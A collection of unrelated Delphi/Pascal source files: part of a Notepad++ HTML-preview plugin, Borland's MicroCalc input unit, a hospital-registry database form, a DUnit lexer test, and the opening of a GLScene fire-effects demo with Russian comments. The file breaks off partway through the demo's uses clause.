MessageBox(Npp.NppData.NppHandle, PChar(Format('Unable to open "%s".', [FullPath])), PChar(Caption), MB_ICONWARNING);
except
ShowException(ExceptObject, ExceptAddr);
end;
end {TNppPluginPreviewHTML.CommandOpenFilters};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.CommandReplaceHelloWorld;
var
s: UTF8String;
begin
s := 'Hello World';
SendMessage(self.NppData.ScintillaMainHandle, SCI_REPLACESEL, 0, LPARAM(PAnsiChar(s)));
end {TNppPluginPreviewHTML.CommandReplaceHelloWorld};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.CommandSetIEVersion(const BrowserEmulation: Integer);
begin
if GetBrowserEmulation <> BrowserEmulation then begin
SetBrowserEmulation(BrowserEmulation);
MessageBox(Npp.NppData.NppHandle,
PChar(Format('The preview browser mode has been set to correspond to Internet Explorer version %d.'#13#10#13#10 +
'Please restart Notepad++ for the new browser mode to be taken into account.',
[BrowserEmulation div 1000])),
PChar(Self.Caption), MB_ICONWARNING);
end else begin
MessageBox(Npp.NppData.NppHandle,
PChar(Format('The preview browser mode was already set to Internet Explorer version %d.',
[BrowserEmulation div 1000])),
PChar(Self.Caption), MB_ICONINFORMATION);
end;
end {TNppPluginPreviewHTML.CommandSetIEVersion};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.CommandShowAbout;
begin
with TAboutForm.Create(self) do begin
ShowModal;
Free;
end;
end {TNppPluginPreviewHTML.CommandShowAbout};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.CommandShowPreview;
const
ncDlgId = 0;
begin
if (not Assigned(frmHTMLPreview)) then begin
frmHTMLPreview := TfrmHTMLPreview.Create(self, ncDlgId);
frmHTMLPreview.Show;
end else begin
if not frmHTMLPreview.Visible then
frmHTMLPreview.Show
else
frmHTMLPreview.Hide
;
end;
if frmHTMLPreview.Visible then begin
frmHTMLPreview.btnRefresh.Click;
end;
end {TNppPluginPreviewHTML.CommandShowPreview};
{ ------------------------------------------------------------------------------------------------ }
function TNppPluginPreviewHTML.GetSettings(const Name: string): TIniFile;
begin
ForceDirectories(ConfigDir + '\PreviewHTML');
Result := TIniFile.Create(ConfigDir + '\PreviewHTML\' + Name);
end {TNppPluginPreviewHTML.GetSettings};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.DoNppnToolbarModification;
var
tb: TToolbarIcons;
begin
tb.ToolbarIcon := 0;
tb.ToolbarBmp := LoadImage(Hinstance, 'TB_PREVIEW_HTML', IMAGE_BITMAP, 0, 0, (LR_DEFAULTSIZE or LR_LOADMAP3DCOLORS));
SendMessage(self.NppData.NppHandle, NPPM_ADDTOOLBARICON, WPARAM(self.CmdIdFromDlgId(0)), LPARAM(@tb));
// SendMessage(self.NppData.ScintillaMainHandle, SCI_SETMODEVENTMASK, SC_MOD_INSERTTEXT or SC_MOD_DELETETEXT, 0);
// SendMessage(self.NppData.ScintillaSecondHandle, SCI_SETMODEVENTMASK, SC_MOD_INSERTTEXT or SC_MOD_DELETETEXT, 0);
end {TNppPluginPreviewHTML.DoNppnToolbarModification};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.DoNppnBufferActivated(const BufferID: Cardinal);
begin
inherited;
if Assigned(frmHTMLPreview) and frmHTMLPreview.Visible then begin
frmHTMLPreview.btnRefresh.Click;
end;
end {TNppPluginPreviewHTML.DoNppnBufferActivated};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.DoNppnFileClosed(const BufferID: Cardinal);
begin
if Assigned(frmHTMLPreview) then begin
frmHTMLPreview.ForgetBuffer(BufferID);
end;
inherited;
end {TNppPluginPreviewHTML.DoNppnFileClosed};
{ ------------------------------------------------------------------------------------------------ }
procedure TNppPluginPreviewHTML.DoModified(const hwnd: HWND; const modificationType: Integer);
begin
if Assigned(frmHTMLPreview) and frmHTMLPreview.Visible and (modificationType and (SC_MOD_INSERTTEXT or SC_MOD_DELETETEXT) <> 0) then begin
frmHTMLPreview.ResetTimer;
end;
inherited;
end {TNppPluginPreviewHTML.DoModified};
////////////////////////////////////////////////////////////////////////////////////////////////////
initialization
try
Npp := TNppPluginPreviewHTML.Create;
except
ShowException(ExceptObject, ExceptAddr);
end;
end.
|
{ Copyright (c) 1985, 87 by Borland International, Inc. }
unit MCINPUT;
interface
uses Crt, Dos, MCVars, MCUtil, MCDisply, MCParser, MCLib;
function GetKey : Char;
{ Reads the next keyboard character }
function EditString(var S : IString; Legal : IString;
MaxLength : Word) : Boolean;
{ Allows the user to edit a string with only certain characters allowed -
Returns TRUE if ESC was not pressed, FALSE is ESC was pressed.
}
procedure GetInput(C : Char);
{ Reads and acts on an input string from the keyboard that started with C }
function GetWord(var Number : Word; Low, High : Word) : Boolean;
{ Reads in a positive word from low to high }
function GetCell(var Col, Row : Word) : Boolean;
{ Reads in a cell name that was typed in - Returns False if ESC was pressed }
function GetYesNo(var YesNo : Char; Prompt : String) : Boolean;
{ Prints a prompt and gets a yes or no answer - returns TRUE if ESC was
pressed, FALSE if not.
}
function GetCommand(MsgStr, ComStr : String) : Word;
{ Reads in a command and acts on it }
implementation
function GetKey;
var
C : Char;
begin
C := ReadKey;
repeat
if C = NULL then
begin
C := ReadKey;
if Ord(C) > 127 then
C := NULL
else
GetKey := Chr(Ord(C) + 128);
end
else
GetKey := C;
until C <> NULL;
end; { GetKey }
function EditString;
var
CPos : Word;
Ins : Boolean;
Ch : Char;
begin
Ins := True;
ChangeCursor(Ins);
CPos := Succ(Length(S));
SetColor(White);
repeat
GotoXY(1, ScreenRows + 5);
Write(S, '':(79 - Length(S)));
GotoXY(CPos, ScreenRows + 5);
Ch := GetKey;
case Ch of
HOMEKEY : CPos := 1;
ENDKEY : CPos := Succ(Length(S));
INSKEY : begin
Ins := not Ins;
ChangeCursor(Ins);
end;
LEFTKEY : if CPos > 1 then
Dec(CPos);
RIGHTKEY : if CPos <= Length(S) then
Inc(CPos);
BS : if CPos > 1 then
begin
Delete(S, Pred(CPos), 1);
Dec(CPos);
end;
DELKEY : if CPos <= Length(S) then
Delete(S, CPos, 1);
CR : ;
UPKEY, DOWNKEY : Ch := CR;
ESC : S := '';
else begin
if ((Legal = '') or (Pos(Ch, Legal) <> 0)) and
((Ch >= ' ') and (Ch <= '~')) and
(Length(S) < MaxLength) then
begin
if Ins then
Insert(Ch, S, CPos)
else if CPos > Length(S) then
S := S + Ch
else
S[CPos] := Ch;
Inc(CPos);
end;
end;
end; { case }
until (Ch = CR) or (Ch = ESC);
ClearInput;
ChangeCursor(False);
EditString := Ch <> ESC;
SetCursor(NoCursor);
end; { EditString }
procedure GetInput;
var
S : IString;
begin
S := C;
if (not EditString(S, '', MAXINPUT)) or (S = '') then
Exit;
Act(S);
Changed := True;
end; { GetInput }
function GetWord;
var
I, Error : Word;
Good : Boolean;
Num1, Num2 : String[5];
Message : String[80];
S : IString;
begin
GetWord := False;
S := '';
Str(Low, Num1);
Str(High, Num2);
Message := MSGBADNUMBER + ' ' + Num1 + ' to ' + Num2 + '.';
repeat
if not EditString(S, '1234567890', 4) then
Exit;
Val(S, I, Error);
Good := (Error = 0) and (I >= Low) and (I <= High);
if not Good then
ErrorMsg(Message);
until Good;
Number := I;
GetWord := True;
end; { GetWord }
function GetCell;
var
Len, NumLen, OldCol, OldRow, Posit, Error : Word;
Data : IString;
NumString : IString;
First, Good : Boolean;
begin
NumLen := RowWidth(MAXROWS);
OldCol := Col;
OldRow := Row;
First := True;
Good := False;
Data := '';
repeat
if not First then
ErrorMsg(MSGBADCELL);
First := False;
Posit := 1;
if not EditString(Data, '', NumLen + 2) then
begin
Col := OldCol;
Row := OldRow;
GetCell := False;
Exit;
end;
if (Data <> '') and (Data[1] in Letters) then
begin
Col := Succ(Ord(UpCase(Data[1])) - Ord('A'));
Inc(Posit);
if (Posit <= Length(Data)) and (Data[Posit] in LETTERS) then
begin
Col := Col * 26;
Inc(Col, Succ(Ord(UpCase(Data[Posit])) - Ord('A')));
Inc(Posit);
end;
if Col <= MAXCOLS then
begin
NumString := Copy(Data, Posit, Succ(Length(Data) - Posit));
Val(NumString, Row, Error);
if (Row <= MAXROWS) and (Error = 0) then
Good := True;
end;
end;
until Good;
GetCell := True;
end; { GetCell }
function GetYesNo;
begin
SetCursor(ULCursor);
GetYesNo := False;
WritePrompt(Prompt + ' ');
repeat
YesNo := UpCase(GetKey);
if YesNo = ESC then
Exit;
until YesNo in ['Y', 'N'];
SetCursor(NoCursor);
GetYesNo := True;
end; { GetYesNo }
function GetCommand;
var
Counter, Len : Word;
Ch : Char;
begin
Len := Length(MsgStr);
GotoXY(1, ScreenRows + 4);
ClrEol;
for Counter := 1 to Len do
begin
if MsgStr[Counter] in ['A'..'Z'] then
SetColor(COMMANDCOLOR)
else
SetColor(LOWCOMMANDCOLOR);
Write(MsgStr[Counter]);
end;
GotoXY(1, ScreenRows + 5);
repeat
Ch := UpCase(GetKey);
until (Pos(Ch, ComStr) <> 0) or (Ch = ESC);
ClearInput;
if Ch = ESC then
GetCommand := 0
else
GetCommand := Pos(Ch, ComStr);
end; { GetCommand }
begin
end.
|
unit ProtFSS_ReestrFillForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs,IBase,ProtFSS_DM, cxStyles, cxCustomData, cxGraphics, cxFilter,
cxData, cxDataStorage, cxEdit, DB, cxDBData, dxBar, cxGridLevel,
cxClasses, cxControls, cxGridCustomView, cxGridCustomTableView,
cxGridTableView, cxGridDBTableView, cxGrid, ExtCtrls, dxBarExtItems,
cxDropDownEdit, cxContainer, cxTextEdit, cxMaskEdit, cxButtonEdit,
StdCtrls, cxLabel, cxDBLabel, cxGridBandedTableView,
cxGridDBBandedTableView, Menus, cxCalendar, cxCheckBox;
type
TReestrFillForm = class(TForm)
Panel1: TPanel;
Panel2: TPanel;
Panel3: TPanel;
Splitter1: TSplitter;
Panel4: TPanel;
dxBarDockControl1: TdxBarDockControl;
dxBarManager1: TdxBarManager;
dxBarLargeButton1: TdxBarLargeButton;
dxBarLargeButton2: TdxBarLargeButton;
dxBarLargeButton3: TdxBarLargeButton;
Panel5: TPanel;
dxBarLargeButton4: TdxBarLargeButton;
Label1: TLabel;
cxStyleRepository1: TcxStyleRepository;
GridTableViewStyleSheetDevExpress: TcxGridTableViewStyleSheet;
cxStyle1: TcxStyle;
cxStyle2: TcxStyle;
cxStyle3: TcxStyle;
cxStyle4: TcxStyle;
cxStyle5: TcxStyle;
cxStyle6: TcxStyle;
cxStyle7: TcxStyle;
cxStyle8: TcxStyle;
cxStyle9: TcxStyle;
cxStyle10: TcxStyle;
cxStyle11: TcxStyle;
cxStyle12: TcxStyle;
cxStyle13: TcxStyle;
cxStyle14: TcxStyle;
Label5: TLabel;
NumHosps: TLabel;
RepHospGrid: TcxGrid;
RepHospGridLevel1: TcxGridLevel;
Panel6: TPanel;
Label4: TLabel;
DBLabelNumReestr: TcxDBLabel;
DBLabelDateReestr: TcxDBLabel;
Label6: TLabel;
Label7: TLabel;
HospListGridLevel1: TcxGridLevel;
HospListGrid: TcxGrid;
HospListGridDBTV: TcxGridDBBandedTableView;
HospListGridDBTVDBBanded_TN: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_FAMILIA: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_DATE_BEG: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_DATE_END: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_SERIA: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_NOMER: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_PERCENT: TcxGridDBBandedColumn;
HospListGridDBTVDBBanded_TITLE: TcxGridDBBandedColumn;
RepHospGridDBTV: TcxGridDBBandedTableView;
RepHospGridDBBandedTableView_TN: TcxGridDBBandedColumn;
RepHospGridDBBandedTableView_FAMILIA: TcxGridDBBandedColumn;
RepHospGridDBBandedTableView_DATE_BEG: TcxGridDBBandedColumn;
RepHospGridDBBandedTableView_DATE_END: TcxGridDBBandedColumn;
RepHospGridDBTV_SERIA: TcxGridDBBandedColumn;
RepHospGridDBBandedTableView_NOMER: TcxGridDBBandedColumn;
PopupMenu: TPopupMenu;
AddAllList: TMenuItem;
RemoveAllList: TMenuItem;
HospListGridDBTVDBBanded_ID_HOSP: TcxGridDBBandedColumn;
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure IllTypeBoxChange(Sender: TObject);
procedure dxBarLargeButton3Click(Sender: TObject);
procedure HospListGridDBTVDblClick(Sender: TObject);
procedure RepHospGridDBTVDblClick(Sender: TObject);
procedure cxGrid1DBBandedTableView1DblClick(Sender: TObject);
procedure AddAllListClick(Sender: TObject);
procedure RemoveAllListClick(Sender: TObject);
procedure dxBarLargeButton2Click(Sender: TObject);
private
// PDb_Handle:TISC_DB_HANDLE;
procedure RefreshHospList;
public
DM: TDM;
Id_Reestr: Integer;
Owner:TComponent;
procedure Prepare(IdReestr: Integer);
constructor Create(AOwner:TComponent;Db_Handle:TISC_DB_HANDLE); reintroduce;
end;
var
ReestrFillForm: TReestrFillForm;
Id_FilterDepartment: Integer;
Id_Type: Integer;
implementation
uses ProtFSS_MainForm;
{$R *.dfm}
constructor TReestrFillForm.Create(AOwner:TComponent;Db_Handle:TISC_DB_HANDLE);
begin
inherited Create(AOwner);
Owner:=AOwner;
DM:=TDM.Create(AOwner,Db_Handle);
RepHospGridDBTV.DataController.DataSource := DM.DSourseList;
HospListGridDBTV.DataController.DataSource := DM.DSourceHospList;
end;
procedure TReestrFillForm.FormCreate(Sender: TObject);
begin
Id_FilterDepartment := -1;
Id_Type := -1;
RefreshHospList;
end;
procedure TReestrFillForm.Prepare(IdReestr: Integer);
begin
Id_Reestr := IdReestr;
DM.DSetList.Close;
DM.DSetList.SelectSQL.Text := 'SELECT * FROM GET_HOSP_IN_REESTR(:ID_REESTR)';
DM.DSetList.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.DSetList.Open;
end;
procedure TReestrFillForm.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
(Owner as TFZProtFSS).Refresh;
Action := caFree;
end;
procedure TReestrFillForm.RefreshHospList;
var
n:Integer;
begin
DM.DSetHospList.Close;
{DM.DSetHospList.SelectSQL.Text := 'SELECT * FROM GET_HOSP_FOR_REESTR(:ID_DEP,:ID_TYPE)';
DM.DSetHospList.ParamByName('ID_DEP').Value:=Id_FilterDepartment;
if (Id_Type<>-1) then
DM.DSetHospList.ParamByName('ID_TYPE').Value:=Id_Type
else
DM.DSetHospList.ParamByName('ID_TYPE').Value:=Null; }
DM.DSetHospList.SelectSQL.Text := 'SELECT * FROM GET_HOSP_FOR_REESTR_SEL';
DM.DSetHospList.Open;
DM.DSetHospList.Last;
n := DM.DSetHospList.RecordCount;
DM.DSetHospList.First;
NumHosps.Caption:=IntToStr(n);
DM.DSetList.Close;
DM.DSetList.SelectSQL.Text := 'SELECT * FROM GET_HOSP_IN_REESTR(:ID_REESTR)';
DM.DSetList.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.DSetList.Open;
end;
procedure TReestrFillForm.IllTypeBoxChange(Sender: TObject);
begin
// Id_Type:=IllTypeBox.ItemIndex+1;
end;
procedure TReestrFillForm.dxBarLargeButton3Click(Sender: TObject);
begin
RemoveAllListClick(Self);
end;
procedure TReestrFillForm.HospListGridDBTVDblClick(Sender: TObject);
var
n,id:Integer;
begin
id:=DM.DSetHospList['ID_HOSP'];
DM.WriteTransaction.StartTransaction;
DM.pFIBStoredProc.StoredProcName := 'HOSP_REESTR_DATA_INSERT';
DM.pFIBStoredProc.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.pFIBStoredProc.ParamByname('ID_HOSP').Value := DM.DSetHospList['ID_HOSP'];
DM.pFIBStoredProc.ExecProc;
DM.WriteTransaction.Commit;
n := DM.DSetHospList.RecordCount;
NumHosps.Caption := IntToStr(n);
DM.DSetHospList.First;
RefreshHospList;
DM.DSetList.Locate('ID_HOSP',id,[]);
end;
procedure TReestrFillForm.RepHospGridDBTVDblClick(Sender: TObject);
var
n:Integer;
id:Integer;
begin
if (not DM.DSetList.IsEmpty) then
begin
id:=DM.DSetList['ID_HOSP'];
DM.WriteTransaction.StartTransaction;
DM.pFIBStoredProc.StoredProcName := 'HOSP_REESTR_DATA_DELETE';
DM.pFIBStoredProc.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.pFIBStoredProc.ParamByname('ID_HOSP').Value := DM.DSetList['ID_HOSP'];
DM.pFIBStoredProc.ExecProc;
DM.WriteTransaction.Commit;
n := DM.DSetHospList.RecordCount;
NumHosps.Caption := IntToStr(n);
DM.DSetHospList.First;
RefreshHospList;
Application.ProcessMessages;
DM.DSetHospList.Locate('ID_HOSP',id,[]);
end;
end;
procedure TReestrFillForm.cxGrid1DBBandedTableView1DblClick(
Sender: TObject);
var
n,id:Integer;
begin
if (not DM.DSetHospList.IsEmpty) then
begin
id:=DM.DSetHospList['ID_HOSP'];
DM.WriteTransaction.StartTransaction;
DM.pFIBStoredProc.StoredProcName := 'HOSP_REESTR_DATA_INSERT';
DM.pFIBStoredProc.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.pFIBStoredProc.ParamByname('ID_HOSP').Value := DM.DSetHospList['ID_HOSP'];
DM.pFIBStoredProc.ExecProc;
DM.WriteTransaction.Commit;
n := DM.DSetHospList.RecordCount;
NumHosps.Caption := IntToStr(n);
DM.DSetHospList.First;
RefreshHospList;
DM.DSetList.Locate('ID_HOSP',id,[]);
end;
end;
procedure TReestrFillForm.AddAllListClick(Sender: TObject);
var
i, c: integer;
n:Integer;
begin
if (not DM.DSetHospList.IsEmpty) then
begin
c := HospListGridDBTV.DataController.RowCount;
DM.DSetHospList.First;
for i := 0 to c-1 do
begin
HospListGridDBTV.DataController.FocusedRowIndex :=i;
DM.WriteTransaction.StartTransaction;
DM.pFIBStoredProc.StoredProcName := 'HOSP_REESTR_DATA_INSERT';
DM.pFIBStoredProc.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.pFIBStoredProc.ParamByname('ID_HOSP').Value := HospListGridDBTVDBBanded_ID_HOSP.EditValue;
DM.pFIBStoredProc.ExecProc;
DM.WriteTransaction.Commit;
Application.ProcessMessages;
end;
RefreshHospList;
n := DM.DSetHospList.RecordCount;
NumHosps.Caption := IntToStr(n);
end;
end;
procedure TReestrFillForm.RemoveAllListClick(Sender: TObject);
var
i, c: integer;
begin
if (not DM.DSetList.IsEmpty) then
begin
DM.DSetList.Last;
c := DM.DSetList.RecordCount;
DM.DSetList.First;
for i := 1 to c do
begin
DM.WriteTransaction.StartTransaction;
DM.pFIBStoredProc.StoredProcName := 'HOSP_REESTR_DATA_DELETE';
DM.pFIBStoredProc.ParamByName('ID_REESTR').Value := Id_Reestr;
DM.pFIBStoredProc.ParamByname('ID_HOSP').Value := DM.DSetList['ID_HOSP'];
DM.pFIBStoredProc.ExecProc;
DM.WriteTransaction.Commit;
DM.DSetList.Next;
Application.ProcessMessages;
end;
RefreshHospList;
end;
end;
procedure TReestrFillForm.dxBarLargeButton2Click(Sender: TObject);
begin
AddAllListClick(Self);
end;
end.
|
unit TestFD.Compiler.Lexer.Pascal;
{
Delphi DUnit Test Case
----------------------
This unit contains a skeleton test case class generated by the Test Case Wizard.
Modify the generated code to correctly setup and call the methods from the unit
being tested.
}
interface
uses
TestFramework, System.SysUtils, System.Classes,
FD.Compiler.Lexer, FD.Compiler.Lexer.Pascal, TestFD.Compiler.Lexer, FD.Compiler.Environment,
FD.Compiler.Lexer.Tokens, System.Diagnostics;
type
// Test methods for class TPascalLexer
TestTPascalLexer = class(TestTLexer)
protected
FEnv: TCompilerEnvironment;
FPascalLexer: TPascalLexer;
procedure SetupEnv(CaseID: String); override;
procedure SetupPascalTest(CaseID: String); virtual;
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure TestVeryBasic1;
procedure TestVeryBasic2;
procedure TestBasicTokenTypes1;
procedure TestLongFiles;
procedure TestStringLexing;
end;
implementation
procedure TestTPascalLexer.SetUp;
begin
end;
procedure TestTPascalLexer.SetupEnv(CaseID: String);
begin
inherited SetupEnv(CaseID);
if FPascalLexer <> nil then
begin
FPascalLexer.DisposeOf;
FPascalLexer := nil;
end;
if FEnv <> nil then
begin
FEnv.DisposeOf;
FEnv := nil;
end;
FEnv := TCompilerEnvironment.Create;
FEnv.BasePath := FTestDir;
FPascalLexer := TPascalLexer.Create(FEnv);
FLexer := FPascalLexer;
end;
procedure TestTPascalLexer.SetupPascalTest(CaseID: String);
begin
Self.SetupEnv('Lexer/pascal/' + CaseID + PathDelim);
end;
procedure TestTPascalLexer.TearDown;
begin
if FEnv <> nil then
begin
FEnv.DisposeOf;
FEnv := nil;
end;
if FPascalLexer <> nil then
begin
FPascalLexer.Free;
FPascalLexer := nil;
end;
end;
procedure TestTPascalLexer.TestBasicTokenTypes1;
begin
Self.SetupPascalTest('BasicTokenTypes1');
FPascalLexer.OpenFile('content.txt');
Assert(FPascalLexer.GetNextToken().IsKeyword('unit'));
Assert(FPascalLexer.GetNextToken().IsOperator('+'));
Assert(FPascalLexer.GetNextToken().IsOperator('-'));
Assert(FPascalLexer.GetNextToken().IsOperator('+'));
Assert(FPascalLexer.GetNextToken().IsOperator('*'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsIdentifier('foo'));
Assert(FPascalLexer.GetNextToken().IsOperator('.'));
Assert(FPascalLexer.GetNextToken().IsIdentifier('bar'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsIdentifier('bar25'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralInteger(25));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsMalformedToken('25bar'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralFloat(25.3));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralFloat(25e3));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralFloat(1.5e3));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralFloat(0.5e-3));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralInteger(25));
Assert(FPascalLexer.GetNextToken().IsOperator('.'));
Assert(FPascalLexer.GetNextToken().IsIdentifier('bar'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsMalformedToken('25.5a'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsMalformedToken('25e.6'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsMalformedToken('25e-a'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsLiteralFloat(25.7e-20));
Assert(FPascalLexer.GetNextToken().IsEOF);
end;
procedure TestTPascalLexer.TestLongFiles;
var
Tok: TToken;
SW: TStopWatch;
begin
Self.SetupPascalTest('LongFiles');
SW := TStopwatch.StartNew;
FPascalLexer.OpenFile('LongContentFile.pas');
SW.Stop;
if SW.Elapsed.TotalMilliseconds = -5 then
Abort; // Will never reach. Just a easy way to add breakpoint and watch "SW.Elapsed.TotalMilliseconds" value
SW := TStopwatch.StartNew;
while not FPascalLexer.EOF do
Tok := FPascalLexer.GetNextToken();
SW.Stop;
if SW.Elapsed.TotalMilliseconds = -5 then
Abort; // Will never reach. Just a easy way to add breakpoint and watch "SW.Elapsed.TotalMilliseconds" value
end;
procedure TestTPascalLexer.TestStringLexing;
begin
Self.SetupPascalTest('StringLexing');
FPascalLexer.OpenFile('content.txt');
Assert(FPascalLexer.GetNextToken().IsKeyword('if'));
Assert(FPascalLexer.GetNextToken().IsLiteralString('foo'));
Assert(FPascalLexer.GetNextToken().IsOperator('='));
Assert(FPascalLexer.GetNextToken().IsLiteralString('bar'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace());
Assert(FPascalLexer.GetNextToken().IsKeyword('then'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsLiteralString(''));
Assert(FPascalLexer.GetNextToken().IsIdentifier('foo'));
Assert(FPascalLexer.GetNextToken().IsLiteralString('josť'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsIdentifier('foo'));
Assert(FPascalLexer.GetNextToken().IsLiteralString('josť''maria'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsLiteralString('josť''maria''ana''foo''bar'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
// Malformed strings
Assert(FPascalLexer.GetNextToken().IsMalformedToken('''abacate', PASCAL_TOKEN_MALFORMED_UNTERMINATED_STRING));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsMalformedToken('''abacate''''', PASCAL_TOKEN_MALFORMED_UNTERMINATED_STRING));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsMalformedToken('''abacate''''terra', PASCAL_TOKEN_MALFORMED_UNTERMINATED_STRING));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsMalformedToken('''josť''''maria''''ana''''foo''''bar''''', PASCAL_TOKEN_MALFORMED_UNTERMINATED_STRING));
end;
procedure TestTPascalLexer.TestVeryBasic1;
var
Tok: TToken;
begin
Self.SetupPascalTest('VeryBasic1');
FPascalLexer.OpenFile('content.txt');
Tok := FPascalLexer.GetNextToken();
Assert(Tok.TokenType = TTokenType.ttKeyword);
Assert(Tok.InputString = 'unit');
Assert(Tok.IsKeyword('unit'));
Assert(Tok.IsKeyword('UnIt'));
Assert(Tok.IsKeyword('UNIT'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsIdentifier('TEST'));
Assert(FPascalLexer.GetNextToken().IsOperator(';'));
Assert(FPascalLexer.GetNextToken().IsEOF);
end;
procedure TestTPascalLexer.TestVeryBasic2;
var
Tok: TToken;
begin
Self.SetupPascalTest('VeryBasic2');
FPascalLexer.OpenFile('content.txt');
Tok := FPascalLexer.GetNextToken();
Assert(Tok.TokenType = TTokenType.ttKeyword);
Assert(Tok.InputString = 'unit');
Assert(Tok.IsKeyword('unit'));
Assert(Tok.IsKeyword('UnIt'));
Assert(Tok.IsKeyword('UNIT'));
Assert(FPascalLexer.GetNextToken().IsWhiteSpace);
Assert(FPascalLexer.GetNextToken().IsIdentifier('TEST'));
Assert(FPascalLexer.GetNextToken().IsOperator(';'));
Assert(FPascalLexer.GetNextToken().IsEOF);
end;
initialization
// Register any test cases with the test runner
RegisterTest(TestTPascalLexer.Suite);
end.
|
////////////////////////////////////////////////////////////////////////
// //
// GLScene Fire Demo v1.0 //
// - для начинающих и начавших //
//====================================================================//
// //
// демонстрация получения "простого" огня //
//--------------------------------------------------------------------//
// • FireFX [TGLFireFXManager] //
// • PointLightPFX [TGLPointLightPFXManager] //
// • PolygonPFX [TGLPolygonPFXManager] //
// • PerlinPFX [TGLPerlinPFXManager] //
// • AnimatedSprite [TGLAnimatedSprite] //
//--------------------------------------------------------------------//
// //
// При ипользовании частиц основная сложность - куча настроек, //
// а для начинающих ещё и головная боль с понятием "Effect" //
// //
// частицы - спрайты, обычно маленькие и много, которые двигаются по //
// по определенному закону, задающему траекторию для каждой частицы //
// //
// FireFX - компонент, задающий закон распределения подобный пламени //
// для его реализации надо создать TGLFireFXManager из "GLScene PFX" //
// и подключить к нему GLCadencer, который будет "тикать" //
// теперь нужно выбрать "горящий" объект и в его параметрах выбираем //
// Effects->Add->FireFX, далее в Manager выбираем наш... //
// ...всё, огонь создан и должен "гореть", остались настройки... //
// //
// PFX - эффекты частиц, т.е. это не огонь, а просто толпа частиц, но //
// с более широким набором настроек и улучшенной оптимизацией, что //
// позволяет создать тот же эффект огня, но более динамичный //
// есть несколько реализаций, но я использовал три основные: //
// PointLightPFX, PerlinPFX, PolygonPFX //
// первые две одинаковые с той лишь разницей, что во втором исполь- //
// зуется генерируемый Perlin-шум как текстура... //
// третий - PolygonPFX - визуально угловатый многогранник //
// для их использования нужно сделать следующее: //
// • Scene objects->Add object->Particle Systems->PFX Renderer //
// • создаем нужный Manager из вкладки "GLScene PFX" //
// • подключаем к нему "PFX Renderer" и "тикающий" GLCadencer //
// • в объекте-"источнике" Effects->Add->PFX Source //
// всё, "источник" создан, теперь надо выставить параметры =) //
// //
// AnimatedSprite - это спрайт, у которого меняются текстурные коор- //
// динаты во времени с повторением, создавая анимацию/мультик... //
// это огонь, который можно нарисовать или вырезать из видео файла //
// //
//--------------------------------------------------------------------//
// //
// быстрее всех, естественно, AnimatedSprite, но требует память под //
// текстуру огня и есть сложности в реализации анимации "горения" //
// FireFX удобный, но тормозной и все частицы - единое целое //
// PFX не очень удобный для тех, кто не любит лишние настройки, но //
// дает широкие возможности с хорошей оптимизацией //
// //
//====================================================================//
// //
// Успехов в изучении! GLScene.ru //
////////////////////////////////////////////////////////////////////////
unit Unit1;
interface
uses
Winapi.Windows, Winapi.Messages,
System.SysUtils, System.Classes, System.Math,
